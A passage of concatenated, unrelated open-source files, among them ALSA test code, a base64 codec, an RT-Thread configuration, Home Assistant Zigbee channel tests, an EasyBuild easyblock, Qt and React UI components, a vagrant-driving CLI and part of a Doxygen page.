samples_per_frame) { char **bufs = frame_buffer; int i; for (i = 0; i < samples_per_frame; ++i) free(bufs[i]); free(bufs); } static int test_frame_count(struct test_generator *gen, snd_pcm_access_t access, snd_pcm_format_t sample_format, unsigned int samples_per_frame) { void *(*allocator)(snd_pcm_access_t access, snd_pcm_format_t sample_format, unsigned int samples_per_frame, unsigned int frame_count); int (*fill)(int fd, void *frame_buffer, snd_pcm_access_t access, snd_pcm_format_t sample_format, unsigned int samples_per_frame, unsigned int frame_count); void (*deallocator)(void *frame_buffer, unsigned int samples_per_frame); void *frame_buffer; int i; int err = 0; if (access != SND_PCM_ACCESS_RW_NONINTERLEAVED) { allocator = allocate_buf; fill = fill_buf; deallocator = deallocate_buf; } else { allocator = allocate_vector; fill = fill_vector; deallocator = deallocate_vector; } frame_buffer = allocator(access, sample_format, samples_per_frame, gen->max_frame_count); if (frame_buffer == NULL) return -ENOMEM; err = fill(gen->fd, frame_buffer, access, sample_format, samples_per_frame, gen->max_frame_count); if (err < 0) goto end; for (i = gen->min_frame_count; i <= gen->max_frame_count; i += gen->step_frame_count) { err = gen->cb(gen, access ,sample_format, samples_per_frame, frame_buffer, i); if (err < 0) break; } end: deallocator(frame_buffer, samples_per_frame); return err; } static int test_samples_per_frame(struct test_generator *gen, snd_pcm_access_t access, snd_pcm_format_t sample_format) { int i; int err = 0; for (i = gen->min_samples_per_frame; i <= gen->max_samples_per_frame; ++i) { err = test_frame_count(gen, access, sample_format, i); if (err < 0) break; } return err; } static int test_sample_format(struct test_generator *gen, snd_pcm_access_t access) { int i; int err = 0; for (i = 0; i <= SND_PCM_FORMAT_LAST; ++i) { if (!((1ull << i) & gen->sample_format_mask)) continue; err = test_samples_per_frame(gen, access, i); if (err < 0) break; } return err; } static int test_access(struct test_generator *gen) { int i; int err = 0; for (i = 0; i <= SND_PCM_ACCESS_LAST; ++i) { if (!((1ull << i) & gen->access_mask)) continue; err = test_sample_format(gen, i); if (err < 0) break; } return err; } int generator_context_run(struct test_generator *gen, generator_cb_t cb) { gen->cb = cb; return test_access(gen); } void generator_context_destroy(struct test_generator *gen) { free(gen->private_data); close(gen->fd); }
package org.bouncycastle.util; import java.util.ArrayList; import java.util.Collection; import java.util.Iterator; import java.util.List; /** * A simple collection backed store. */ public class CollectionStore implements Store { private Collection _local; /** * Basic constructor. * * @param collection - initial contents for the store, this is copied. */ public CollectionStore( Collection collection) { _local = new ArrayList(collection); } /** * Return the matches in the collection for the passed in selector. * * @param selector the selector to match against. * @return a possibly empty collection of matching objects. */ public Collection getMatches(Selector selector) { if (selector == null) { return new ArrayList(_local); } else { List col = new ArrayList(); Iterator iter = _local.iterator(); while (iter.hasNext()) { Object obj = iter.next(); if (selector.match(obj)) { col.add(obj); } } return col; } } }
/* Copyright 2015 Gravitational, Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ module.exports.getters = require('./getters'); module.exports.actions = require('./actions');
/* * \copyright Copyright 2013 Google Inc. All Rights Reserved. * \license @{ * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * * @} */ #include <limits.h> #include <string> using std::string; #include "googleapis/client/data/base64_codec.h" #include "googleapis/client/data/codec.h" #include "googleapis/client/util/escaping.h" #include "googleapis/client/util/status.h" #include "googleapis/base/integral_types.h" #include <glog/logging.h> #include "googleapis/strings/stringpiece.h" namespace googleapis { namespace { const int kDefaultChunkSize = 1 << 13; // 8K using client::CodecReader; using client::DataReader; using client::StatusOk; using client::StatusInvalidArgument; inline int64 round_down_divisible_by_3(int64 n) { return n - n % 3; } // We'll assume the given chunk size was intended for plain text size. // If we are decoding then the source chunk is base64 escaped. int64 DetermineSourceChunkSize(bool encoding, int desired) { if (desired < 3) desired = kDefaultChunkSize; int divisible_by_3 = round_down_divisible_by_3(desired); if (encoding) return divisible_by_3; return googleapis_util::CalculateBase64EscapedLen(divisible_by_3, true); } int64 DetermineTargetBufferSize(bool encoding, int desired) { if (desired < 3) desired = kDefaultChunkSize; if (encoding) return googleapis_util::CalculateBase64EscapedLen(desired, true); return desired; // ok if bigger than needed. } // Base64 encodes three bytes of input at a time. If the input is not // divisible by three then it is padded as appropriate. // Since the reader is a stream and does not know the length, we'll require // reading chunks of multiples of 3 until we hit the eof so that we only pad // at the end and not intermediate byte sequences. class Base64Reader : public CodecReader { public: Base64Reader( DataReader* source, Closure* deleter, int chunk_size, bool websafe, bool encoding) : CodecReader(source, deleter, DetermineSourceChunkSize(encoding, chunk_size), DetermineTargetBufferSize(encoding, chunk_size), encoding), websafe_(websafe) { CHECK_LE(3, chunk_size); } ~Base64Reader() {} protected: virtual googleapis::util::Status EncodeChunk( const StringPiece& chunk, bool is_final_chunk, char* to, int64* to_length) { if (chunk.size() > INT_MAX) { *to_length = 0; return StatusInvalidArgument("chunk too big"); } if (*to_length > INT_MAX) { return StatusInvalidArgument("target size too big"); } int szdest = *to_length; int len = chunk.size(); const unsigned char* source = reinterpret_cast<const unsigned char*>(chunk.data()); if (websafe_) { *to_length = googleapis_util::WebSafeBase64Escape( source, len, to, szdest, is_final_chunk); } else { *to_length = googleapis_util::Base64Escape(source, len, to, szdest); } return StatusOk(); } virtual googleapis::util::Status DecodeChunk( const StringPiece& chunk, bool unused_is_final_chunk, char* to, int64* to_length) { if (chunk.size() > INT_MAX) { *to_length = 0; return StatusInvalidArgument("chunk too big"); } if (*to_length > INT_MAX) { return StatusInvalidArgument("target size too big"); } string decoded; bool success; if (websafe_) { success = googleapis_util::WebSafeBase64Unescape( chunk.data(), chunk.size(), &decoded); } else { success = googleapis_util::Base64Unescape( chunk.data(), chunk.size(), &decoded); } if (success && decoded.size() <= *to_length) { memcpy(to, decoded.data(), decoded.size()); *to_length = decoded.size(); } else { *to_length = -1; } return StatusOk(); } private: bool websafe_; DISALLOW_COPY_AND_ASSIGN(Base64Reader); }; } // anonymous namespace namespace client { Base64Codec::Base64Codec(int chunk_size, bool websafe) : chunk_size_(chunk_size), websafe_(websafe) {} Base64Codec::~Base64Codec() {} DataReader* Base64Codec::NewManagedEncodingReader( DataReader* source, Closure* deleter, googleapis::util::Status* status) { CHECK(status != NULL); if (!source) { *status = StatusInvalidArgument("No source reader provided"); return client::NewManagedInvalidDataReader(*status, deleter); } *status = StatusOk(); return new Base64Reader(source, deleter, chunk_size_, websafe_, true); } DataReader* Base64Codec::NewManagedDecodingReader( DataReader* source, Closure* deleter, googleapis::util::Status* status) { CHECK(status != NULL); if (!source) { *status = StatusInvalidArgument("No source reader provided"); return client::NewManagedInvalidDataReader(*status, deleter); } *status = StatusOk(); return new Base64Reader(source, deleter, chunk_size_, websafe_, false); } Base64CodecFactory::Base64CodecFactory() : chunk_size_(kDefaultChunkSize), websafe_(false) { } Base64CodecFactory::~Base64CodecFactory() {} Codec* Base64CodecFactory::New(googleapis::util::Status* status) { CHECK(status != NULL); *status = StatusOk(); return new Base64Codec(chunk_size_, websafe_); } } // namespace client } // namespace googleapis
/* (c) Copyright 2011-2014 Felipe Magno de Almeida * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. */ #ifndef GHTV_QT_PLAYER_MAIN_VIDEO_PLAYER_HPP #define GHTV_QT_PLAYER_MAIN_VIDEO_PLAYER_HPP #include <ghtv/qt/ncl/player/player_base.hpp> namespace ghtv { namespace qt { namespace ncl { namespace player { struct main_video_player : player_base { main_video_player(QWidget* player_container) { } void pause () {} void resume() {} void key_process(std::string const& key, bool pressed) {} bool wants_keys() const { return false; } bool start_set_property(std::string const& name, std::string const& value) { return false; } bool commit_set_property(std::string const& name) { return false; } void start_area(std::string const& name) {} }; } } } } #endif
/* RT-Thread config file */ #ifndef __RTTHREAD_CFG_H__ #define __RTTHREAD_CFG_H__ /* RT_NAME_MAX*/ #define RT_NAME_MAX 8 /* RT_ALIGN_SIZE*/ #define RT_ALIGN_SIZE 4 /* PRIORITY_MAX */ #define RT_THREAD_PRIORITY_MAX 32 /* Tick per Second */ #define RT_TICK_PER_SECOND 100 /* SECTION: RT_DEBUG */ /* Thread Debug */ #define RT_DEBUG #define RT_THREAD_DEBUG #define RT_USING_OVERFLOW_CHECK /* Using Hook */ #define RT_USING_HOOK /* Using Software Timer */ /* #define RT_USING_TIMER_SOFT */ #define RT_TIMER_THREAD_PRIO 4 #define RT_TIMER_THREAD_STACK_SIZE 512 #define RT_TIMER_TICK_PER_SECOND 10 /* SECTION: IPC */ /* Using Semaphore*/ #define RT_USING_SEMAPHORE /* Using Mutex */ #define RT_USING_MUTEX /* Using Event */ #define RT_USING_EVENT /* Using MailBox */ #define RT_USING_MAILBOX /* Using Message Queue */ #define RT_USING_MESSAGEQUEUE /* SECTION: Memory Management */ /* Using Memory Pool Management*/ #define RT_USING_MEMPOOL /* Using Dynamic Heap Management */ #define RT_USING_HEAP /* Using Small MM */ #define RT_USING_SMALL_MEM /* SECTION: Device System */ /* Using Device System */ #define RT_USING_DEVICE #define RT_USING_UART1 /* SECTION: Console options */ #define RT_USING_CONSOLE /* the buffer size of console*/ #define RT_CONSOLEBUF_SIZE 128 /* SECTION: finsh, a C-Express shell */ #define RT_USING_FINSH /* Using symbol table */ #define FINSH_USING_SYMTAB #define FINSH_USING_DESCRIPTION /* SECTION: device filesystem */ /* #define RT_USING_DFS */ #define RT_USING_DFS_ELMFAT #define RT_DFS_ELM_REENTRANT #define RT_DFS_ELM_WORD_ACCESS #define RT_DFS_ELM_DRIVES 1 #define RT_DFS_ELM_USE_LFN 2 #define RT_DFS_ELM_MAX_LFN 255 #define RT_DFS_ELM_MAX_SECTOR_SIZE 512 /* the max number of mounted filesystem */ #define DFS_FILESYSTEMS_MAX 2 /* the max number of opened files */ #define DFS_FD_MAX 4 /* SECTION: lwip, a lighwight TCP/IP protocol stack */ /* #define RT_USING_LWIP */ /* LwIP uses RT-Thread Memory Management */ #define RT_LWIP_USING_RT_MEM /* Enable ICMP protocol*/ #define RT_LWIP_ICMP /* Enable UDP protocol*/ #define RT_LWIP_UDP /* Enable TCP protocol*/ #define RT_LWIP_TCP /* Enable DNS */ #define RT_LWIP_DNS /* the number of simulatenously active TCP connections*/ #define RT_LWIP_TCP_PCB_NUM 5 /* ip address of target*/ #define RT_LWIP_IPADDR0 192 #define RT_LWIP_IPADDR1 168 #define RT_LWIP_IPADDR2 1 #define RT_LWIP_IPADDR3 30 /* gateway address of target*/ #define RT_LWIP_GWADDR0 192 #define RT_LWIP_GWADDR1 168 #define RT_LWIP_GWADDR2 1 #define RT_LWIP_GWADDR3 1 /* mask address of target*/ #define RT_LWIP_MSKADDR0 255 #define RT_LWIP_MSKADDR1 255 #define RT_LWIP_MSKADDR2 255 #define RT_LWIP_MSKADDR3 0 /* tcp thread options */ #define RT_LWIP_TCPTHREAD_PRIORITY 12 #define RT_LWIP_TCPTHREAD_MBOX_SIZE 4 #define RT_LWIP_TCPTHREAD_STACKSIZE 1024 /* ethernet if thread options */ #define RT_LWIP_ETHTHREAD_PRIORITY 15 #define RT_LWIP_ETHTHREAD_MBOX_SIZE 4 #define RT_LWIP_ETHTHREAD_STACKSIZE 512 // <bool name="RT_USING_CMSIS_OS" description="Using CMSIS OS API" default="true" /> // #define RT_USING_CMSIS_OS // <bool name="RT_USING_RTT_CMSIS" description="Using CMSIS in RTT" default="true" /> #define RT_USING_RTT_CMSIS // <bool name="RT_USING_BSP_CMSIS" description="Using CMSIS in BSP" default="true" /> // #define RT_USING_BSP_CMSIS #endif
"""Test ZHA Core channels.""" import pytest import zigpy.types as t import homeassistant.components.zha.core.channels as channels import homeassistant.components.zha.core.device as zha_device import homeassistant.components.zha.core.registries as registries from .common import make_device @pytest.fixture def ieee(): """IEEE fixture.""" return t.EUI64.deserialize(b"ieeeaddr")[0] @pytest.fixture def nwk(): """NWK fixture.""" return t.NWK(0xBEEF) @pytest.mark.parametrize( "cluster_id, bind_count, attrs", [ (0x0000, 1, {}), (0x0001, 1, {"battery_voltage", "battery_percentage_remaining"}), (0x0003, 1, {}), (0x0004, 1, {}), (0x0005, 1, {}), (0x0006, 1, {"on_off"}), (0x0007, 1, {}), (0x0008, 1, {"current_level"}), (0x0009, 1, {}), (0x000C, 1, {"present_value"}), (0x000D, 1, {"present_value"}), (0x000E, 1, {"present_value"}), (0x000D, 1, {"present_value"}), (0x0010, 1, {"present_value"}), (0x0011, 1, {"present_value"}), (0x0012, 1, {"present_value"}), (0x0013, 1, {"present_value"}), (0x0014, 1, {"present_value"}), (0x0015, 1, {}), (0x0016, 1, {}), (0x0019, 1, {}), (0x001A, 1, {}), (0x001B, 1, {}), (0x0020, 1, {}), (0x0021, 1, {}), (0x0101, 1, {"lock_state"}), (0x0202, 1, {"fan_mode"}), (0x0300, 1, {"current_x", "current_y", "color_temperature"}), (0x0400, 1, {"measured_value"}), (0x0401, 1, {"level_status"}), (0x0402, 1, {"measured_value"}), (0x0403, 1, {"measured_value"}), (0x0404, 1, {"measured_value"}), (0x0405, 1, {"measured_value"}), (0x0406, 1, {"occupancy"}), (0x0702, 1, {"instantaneous_demand"}), (0x0B04, 1, {"active_power"}), (0x1000, 1, {}), ], ) async def test_in_channel_config(cluster_id, bind_count, attrs, zha_gateway, hass): """Test ZHA core channel configuration for input clusters.""" zigpy_dev = make_device( [cluster_id], [], 0x1234, "00:11:22:33:44:55:66:77", "test manufacturer", "test model", ) zha_dev = zha_device.ZHADevice(hass, zigpy_dev, zha_gateway) cluster = zigpy_dev.endpoints[1].in_clusters[cluster_id] channel_class = registries.ZIGBEE_CHANNEL_REGISTRY.get( cluster_id, channels.AttributeListeningChannel ) channel = channel_class(cluster, zha_dev) await channel.async_configure() assert cluster.bind.call_count == bind_count assert cluster.configure_reporting.call_count == len(attrs) reported_attrs = {attr[0][0] for attr in cluster.configure_reporting.call_args_list} assert set(attrs) == reported_attrs @pytest.mark.parametrize( "cluster_id, bind_count", [ (0x0000, 1), (0x0001, 1), (0x0003, 1), (0x0004, 1), (0x0005, 1), (0x0006, 1), (0x0007, 1), (0x0008, 1), (0x0009, 1), (0x0015, 1), (0x0016, 1), (0x0019, 1), (0x001A, 1), (0x001B, 1), (0x0020, 1), (0x0021, 1), (0x0101, 1), (0x0202, 1), (0x0300, 1), (0x0400, 1), (0x0402, 1), (0x0403, 1), (0x0405, 1), (0x0406, 1), (0x0702, 1), (0x0B04, 1), (0x1000, 1), ], ) async def test_out_channel_config(cluster_id, bind_count, zha_gateway, hass): """Test ZHA core channel configuration for output clusters.""" zigpy_dev = make_device( [], [cluster_id], 0x1234, "00:11:22:33:44:55:66:77", "test manufacturer", "test model", ) zha_dev = zha_device.ZHADevice(hass, zigpy_dev, zha_gateway) cluster = zigpy_dev.endpoints[1].out_clusters[cluster_id] cluster.bind_only = True channel_class = registries.ZIGBEE_CHANNEL_REGISTRY.get( cluster_id, channels.AttributeListeningChannel ) channel = channel_class(cluster, zha_dev) await channel.async_configure() assert cluster.bind.call_count == bind_count assert cluster.configure_reporting.call_count == 0 def test_channel_registry(): """Test ZIGBEE Channel Registry.""" for (cluster_id, channel) in registries.ZIGBEE_CHANNEL_REGISTRY.items(): assert isinstance(cluster_id, int) assert 0 <= cluster_id <= 0xFFFF assert issubclass(channel, channels.ZigbeeChannel)
## # Copyright 2009-2016 Ghent University # # This file is part of EasyBuild, # originally created by the HPC team of Ghent University (http://ugent.be/hpc/en), # with support of Ghent University (http://ugent.be/hpc), # the Flemish Supercomputer Centre (VSC) (https://vscentrum.be/nl/en), # Flemish Research Foundation (FWO) (http://www.fwo.be/en) # and the Department of Economy, Science and Innovation (EWI) (http://www.ewi-vlaanderen.be/en). # # http://github.com/hpcugent/easybuild # # EasyBuild is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation v2. # # EasyBuild is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with EasyBuild. If not, see <http://www.gnu.org/licenses/>. ## """ EasyBuild support for installing the Intel Advisor XE, implemented as an easyblock @author: Lumir Jasiok (IT4Innovations) """ from easybuild.easyblocks.generic.intelbase import IntelBase class EB_Advisor(IntelBase): """ Support for installing Intel Advisor XE """ def sanity_check_step(self): """Custom sanity check paths for Advisor""" custom_paths = { 'files': [], 'dirs': ['advisor_xe/bin64', 'advisor_xe/lib64'] } super(EB_Advisor, self).sanity_check_step(custom_paths=custom_paths) def make_module_req_guess(self): """ A dictionary of possible directories to look for """ guesses = super(EB_Advisor, self).make_module_req_guess() lib_path = 'advisor_xe/lib64' include_path = 'advisor_xe/include' guesses.update({ 'CPATH': [include_path], 'INCLUDE': [include_path], 'LD_LIBRARY_PATH': [lib_path], 'LIBRARY_PATH': [lib_path], 'PATH': ['advisor_xe/bin64'], }) return guesses
''' Copyright (c) 2015 diaNEOsis [http://www.dianeosis.org] This file is part of ESPA. ESPA is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. ESPA is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with ESPA. If not, see <http://www.gnu.org/licenses/>. ''' from espa.espa.processors.Bucket import valueToBucketIndex, valueToIntervalSizeBasedBucket def assertEquals(expected, actual): if expected != actual: print("Expected %s, got %s" % (str(expected), str(actual))) raise AssertionError() def basicBucketAllocationShouldWork(): minValue = 10 maxValue = 120 numberOfBuckets = 10 # There are 110 values and 10 buckets. Every 11 values we should change buckets. Note the fencepost error # that 120 is not included in the last interval since intervals are open on their high value assertEquals(0, valueToBucketIndex(numberOfBuckets, minValue, maxValue, 10)) assertEquals(0, valueToBucketIndex(numberOfBuckets, minValue, maxValue, 11)) assertEquals(0, valueToBucketIndex(numberOfBuckets, minValue, maxValue, 12)) assertEquals(0, valueToBucketIndex(numberOfBuckets, minValue, maxValue, 20)) assertEquals(1, valueToBucketIndex(numberOfBuckets, minValue, maxValue, 21)) assertEquals(1, valueToBucketIndex(numberOfBuckets, minValue, maxValue, 31)) assertEquals(2, valueToBucketIndex(numberOfBuckets, minValue, maxValue, 32)) assertEquals(2, valueToBucketIndex(numberOfBuckets, minValue, maxValue, 42)) assertEquals(3, valueToBucketIndex(numberOfBuckets, minValue, maxValue, 43)) assertEquals(3, valueToBucketIndex(numberOfBuckets, minValue, maxValue, 53)) assertEquals(4, valueToBucketIndex(numberOfBuckets, minValue, maxValue, 54)) assertEquals(4, valueToBucketIndex(numberOfBuckets, minValue, maxValue, 64)) assertEquals(5, valueToBucketIndex(numberOfBuckets, minValue, maxValue, 65)) assertEquals(5, valueToBucketIndex(numberOfBuckets, minValue, maxValue, 75)) assertEquals(6, valueToBucketIndex(numberOfBuckets, minValue, maxValue, 76)) assertEquals(6, valueToBucketIndex(numberOfBuckets, minValue, maxValue, 86)) assertEquals(7, valueToBucketIndex(numberOfBuckets, minValue, maxValue, 87)) assertEquals(7, valueToBucketIndex(numberOfBuckets, minValue, maxValue, 97)) assertEquals(8, valueToBucketIndex(numberOfBuckets, minValue, maxValue, 98)) assertEquals(8, valueToBucketIndex(numberOfBuckets, minValue, maxValue, 108)) assertEquals(9, valueToBucketIndex(numberOfBuckets, minValue, maxValue, 109)) assertEquals(9, valueToBucketIndex(numberOfBuckets, minValue, maxValue, 119)) assertEquals(10, valueToBucketIndex(numberOfBuckets, minValue, maxValue, 120)) def basicSizeBasedBucketAllocationShouldWork(): minValue = 0 bucketSize = 12 assertEquals(0, valueToIntervalSizeBasedBucket(bucketSize, minValue, 0)) assertEquals(0, valueToIntervalSizeBasedBucket(bucketSize, minValue, 1)) assertEquals(0, valueToIntervalSizeBasedBucket(bucketSize, minValue, 2)) assertEquals(0, valueToIntervalSizeBasedBucket(bucketSize, minValue, 11)) assertEquals(1, valueToIntervalSizeBasedBucket(bucketSize, minValue, 12)) assertEquals(1, valueToIntervalSizeBasedBucket(bucketSize, minValue, 13)) assertEquals(1, valueToIntervalSizeBasedBucket(bucketSize, minValue, 23)) assertEquals(2, valueToIntervalSizeBasedBucket(bucketSize, minValue, 24)) assertEquals(2, valueToIntervalSizeBasedBucket(bucketSize, minValue, 25)) assertEquals(2, valueToIntervalSizeBasedBucket(bucketSize, minValue, 35)) def main(): basicBucketAllocationShouldWork() basicSizeBasedBucketAllocationShouldWork() print("Success") main()
#include "MovieMediaInfoWidget.h" using namespace userInterface; MovieMediaInfoWidget::MovieMediaInfoWidget() { QPixmap poster = QPixmap( "/home/elia/Development/Qt/MEMC_Client/image/no-poster.jpg" ).scaledToWidth(185); this->getMovieInfo = nullptr; this->mediaLogo = new QPushButton(); this->mediaLogo->setFlat( true ); this->mediaLogo->setIcon( poster ); this->mediaLogo->setIconSize( QSize(poster.width()+5, poster.height()+5) ); connect ( this->mediaLogo, SIGNAL( clicked() ), this, SLOT( editMediaInfoPressed() ) ); this->vLayout = new QVBoxLayout(); vLayout->addWidget( this->mediaLogo ); vLayout->addWidget( new Spacer( this, SpacerOrientation::VERTICAL ) ); this->title = new QLabel ( "<b>Title:</b><br> no data" ); vLayout->addWidget ( this->title ); vLayout->addWidget( new Spacer( this, SpacerOrientation::VERTICAL ) ); this->description = new QLabel ( "<b>Description:</b><br> no data" ); this->description->setSizePolicy(QSizePolicy::Preferred, QSizePolicy::Expanding); vLayout->addWidget ( this->description ); vLayout->addWidget( new Spacer( this, SpacerOrientation::VERTICAL ) ); this->setLayout( vLayout ); } MovieMediaInfoWidget::~MovieMediaInfoWidget() { if ( this->getMovieInfo != nullptr ) delete this->getMovieInfo; } void MovieMediaInfoWidget::setMedia( core::media::MediaFile* mediaFile ) { this->mediaFile = mediaFile; if ( this->getMovieInfo != nullptr ) { delete this->getMovieInfo; this->getMovieInfo = nullptr; } } void MovieMediaInfoWidget::editMediaInfoPressed() { this->getMovieInfo = new GetMovieInfo( this, mediaFile ); this->getMovieInfo->show(); }
import React, {PropTypes} from 'react' import {connect} from 'react-redux' import Cell from 'components/Cell/Cell' import {setCell, setDrawingCell} from 'redux/modules/actionCreators' import './Board.scss' class BoardPresentation extends React.Component { static propTypes = { cells: PropTypes.array.isRequired, width: PropTypes.number.isRequired, height: PropTypes.number.isRequired, drawingCell: PropTypes.bool.isRequired, onStartDrawing: PropTypes.func.isRequired, onDraw: PropTypes.func.isRequired }; render () { const {cells, width, height, drawingCell, onStartDrawing, onDraw} = this.props const rowsWithCells = [] for (let y = 0; y < height; y++) { const cellElements = [] for (let x = 0; x < width; x++) { const live = cells[x][y].live const liveCount = cells[x][y].liveCount const key = x*10000+y cellElements.push( <Cell key={key} x={x} y={y} live={live} liveCount={liveCount} drawingCell={drawingCell} onStartDrawing={onStartDrawing} onDraw={onDraw} /> ) } rowsWithCells.push( <tr key={y}>{cellElements}</tr> ) } return ( <div className='row Board'> <div className='col-md-12'> <div className='border'> <table> <tbody> {rowsWithCells} </tbody> </table> </div> </div> </div> ) } } const mapStateToProps = (state) => { const {cells, width, height} = state.board const drawingCell = state.drawing return {cells, width, height, drawingCell} } const mapDispatchToProps = (dispatch) => { return { onStartDrawing (x, y, drawingCell) { dispatch(setDrawingCell(drawingCell)) dispatch(setCell(x, y, drawingCell)) }, onDraw (x, y, drawingCell) { dispatch(setCell(x, y, drawingCell)) } } } const Board = connect(mapStateToProps, mapDispatchToProps)(BoardPresentation) export default Board
/* * Generated by class-dump 3.3.4 (64 bit). * * class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2011 by Steve Nygard. */ #import "NSObject.h" @class NSDate, NSNumber, NSString; @interface SLFacebookRegistrationInfo : NSObject { NSString *_firstName; NSString *_lastName; NSString *_email; NSNumber *_phone; NSString *_password; NSString *_gender; NSDate *_birthday; } @property(retain, nonatomic) NSDate *birthday; // @synthesize birthday=_birthday; @property(retain, nonatomic) NSString *gender; // @synthesize gender=_gender; @property(retain, nonatomic) NSString *password; // @synthesize password=_password; @property(retain, nonatomic) NSNumber *phone; // @synthesize phone=_phone; @property(retain, nonatomic) NSString *email; // @synthesize email=_email; @property(retain, nonatomic) NSString *lastName; // @synthesize lastName=_lastName; @property(retain, nonatomic) NSString *firstName; // @synthesize firstName=_firstName; - (void).cxx_destruct; - (id)debugDescription; - (_Bool)hasAllRequiredValues; @end
""" moirai Easily create and replay scenarios Copyright (C) 2016 Guillaume Brogi Copyright (C) 2016 Akheros This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. """ from . import utils def spin(args): """Handles the 'spin' command.""" up(args) play(args) def cut(args): """Handles the 'cut' command.""" stop(args) halt(args) def create(args): """Handles the 'create' command.""" from lib.configuration import Configuration config = utils.parse_config(args, Configuration()) config.write_vagrantfile(args.target) def up(args): """Handles the 'up' command.""" import subprocess subprocess.run(['vagrant', 'up']) def halt(args): """Handles the 'halt' command.""" import subprocess subprocess.run(['vagrant', 'halt']) def play(args): """Handles the 'play' command.""" from threading import Timer from lib.configuration import Configuration from lib.task import Task config = utils.parse_config(args, Configuration()) tasks = [] for task, items in config.tasks.items(): t = Timer(items['timing'], Task.run_task, args=(task, len(tasks) + 1, items, config)) t.daemon = True t.start() tasks.append(t) duration = config.duration if duration == 0: for t in tasks: t.join() else: start = time.time() while time.time() < start + duration: finished = True for t in tasks: if not t.finished.is_set(): finished = False break if finished: break time.sleep(1) def stop(args): """Handles the 'stop' command.""" pass def create_parser(): import argparse # Top level parser parser = argparse.ArgumentParser(prog='moirai') parser.add_argument('-c', '--config', help='specify a config file to use', default='moirai.ini', dest='config') parser.add_argument('-t', '--target', help='specify the target base directory for vagrant', default='./', dest='target') subparsers = parser.add_subparsers(title='subcommands') # Parser for the "spin" command parser_spin = subparsers.add_parser('spin', help='creates the VMs if necessary and plays the scenario') parser_spin.set_defaults(func=spin) # Parser for the "cut" command parser_cut = subparsers.add_parser('cut', help='stops the scenario and kills the VMs') parser_cut.set_defaults(func=cut) # Parser for the "create" command parser_create = subparsers.add_parser('create', help='create the vagrant configuration file') parser_create.set_defaults(func=create) # Parser for the "up" command parser_up = subparsers.add_parser('up', help='launches all the VMs using vagrant') parser_up.set_defaults(func=up) # Parser for the "halt" command parser_halt = subparsers.add_parser('halt', help='halts the VMs') parser_halt.set_defaults(func=halt) # Parser for the "play" command parser_play = subparsers.add_parser('play', help='plays the scenario') parser_play.set_defaults(func=play) # Parser for the "stop" command parser_stop = subparsers.add_parser('stop', help='stops the scenario') parser_stop.set_defaults(func=stop) return parser
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/xhtml;charset=UTF-8"/> <meta http-equiv="X-UA-Compatible" content="IE=9"/> <title>Aria: Member List</title> <link href="tabs.css" rel="stylesheet" type="text/css"/> <link href="doxygen.css" rel="stylesheet" type="text/css" /> <link href="navtree.css" rel="stylesheet" type="text/css"/> <script type="text/javascript" src="jquery.js"></script> <script type="text/javascript" src="resize.js"></script> <script type="text/javascript" src="navtree.js"></script> <script type="text/javascript"> $(document).ready(initResizable); </script> </head> <body> <div id="top"><!-- do not remove this div! --> <div id="titlearea"> <table cellspacing="0" cellpadding="0"> <tbody> <tr style="height: 56px;"> <td style="padding-left: 0.5em;"> <div id="projectname">Aria &#160;<span id="projectnumber">2.9.0</span> </div> </td> </tr> </tbody> </table> </div> <!-- Generated by Doxygen 1.7.6.1 --> <div id="navrow1" class="tabs"> <ul class="tablist"> <li><a href="index.html"><span>Main&#160;Page</span></a></li> <li><a href="pages.html"><span>Related&#160;Pages</span></a></li> <li><a href="modules.html"><span>Modules</span></a></li> <li class="current"><a href="annotated.html"><span>Classes</span></a></li> <li><a href="files.html"><span>Files</span></a></li> <li><a href="examples.html"><span>Examples</span></a></li> </ul> </div> <div id="navrow2" class="tabs2"> <ul class="tablist"> <li><a href="annotated.html"><span>Class&#160;List</span></a></li> <li><a href="classes.html"><span>Class&#160;Index</span></a></li> <li><a href="hierarchy.html"><span>Class&#160;Hierarchy</span></a></li> <li><a href="functions.html"><span>Class&#160;Members</span></a></li> </ul> </div> </div> <div id="side-nav" class="ui-resizable side-nav-resizable"> <div id="nav-tree"> <div id="nav-tree-contents"> </div> </div> <div id="splitbar" style="-moz-user-select:none;" class="ui-resizable-handle"> </div> </div> <script type="text/javascript"> 